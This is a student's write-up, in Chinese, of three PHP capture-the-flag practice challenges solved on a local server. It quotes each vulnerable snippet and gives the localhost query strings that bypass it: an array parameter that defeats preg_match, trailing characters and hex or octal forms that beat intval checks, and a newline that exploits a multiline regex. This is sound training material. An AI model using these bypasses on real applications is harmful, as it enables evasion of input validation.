过晚提交任务原因及解释
前几天甲流了,请了一段时间巨长的假,现在正在追赶进度
重新准备与环境搭建
准备工具:edge浏览器
环境搭建:本地小皮面板
PHP靶场一
<?php include("flag.php"); highlight_file(__FILE__); if (isset($_GET['num'])) { $num = $_GET['num']; if (preg_match("/[0-9]/", $num)) { die("no no no!"); } if (intval($num)) { echo $flag; } }定义了一个num变量用来传递参数
//因此只需访问这个地址即可取得flag http://localhost/?num[]=a //flag为:flag{You have successfully completed web89!}PHP靶场二
<?php include("flag.php"); highlight_file(__FILE__); if (isset($_GET['num'])) { $num = $_GET['num']; if ($num === "4476") { die("no no no!"); } if (intval($num, 0) === 4476) { echo $flag; } else { echo intval($num, 0); } }这个也是必须通过GET方式传入num参数(isset($_GET['num']))
但是num不能与字符串"4476"严格相等(===要求值和类型都完全一致,否则执行die)且intval($num, 0)的结果必须严格等于 4476
所以可以绕过严格比较,方法如下:
数字后接非数字字符:
http://localhost/?num=4476a http://localhost/?num=4476%20 http://localhost/?num=4476x http://localhost/?num=4476\n //等等其他进制表示法(十六,八)
http://localhost/?num=0x117C http://localhost/?num=010574 //等等
得到flag:flag{You have successfully completed web90!}
PHP靶场三
<?php show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }代码逻辑
- 接收 GET 参数
cmd; - 第一个正则匹配:
preg_match('/^php$/im', $a),匹配成功则进入内部判断,否则输出nonononono; - 内部第二个正则匹配:
preg_match('/^php$/i', $a),匹配成功输出hacker,否则输出flag。
目标如下
需要构造cmd参数,满足:
- 第一个正则
/^php$/im匹配成功(进入内部判断); - 第二个正则
/^php$/i匹配失败(输出 flag)。
绕过方法
在
php前加换行符http://localhost/?cmd=%0aphp在
php后加换行符+任意字符http://localhost/?cmd=php%0ab http://localhost/?cmd=php%0ajj http://localhost/?cmd=php%0asuhs //等等加多个换行符
http://localhost/?cmd=php%0a%0a
得到flag:flag{You have successfully completed web91!}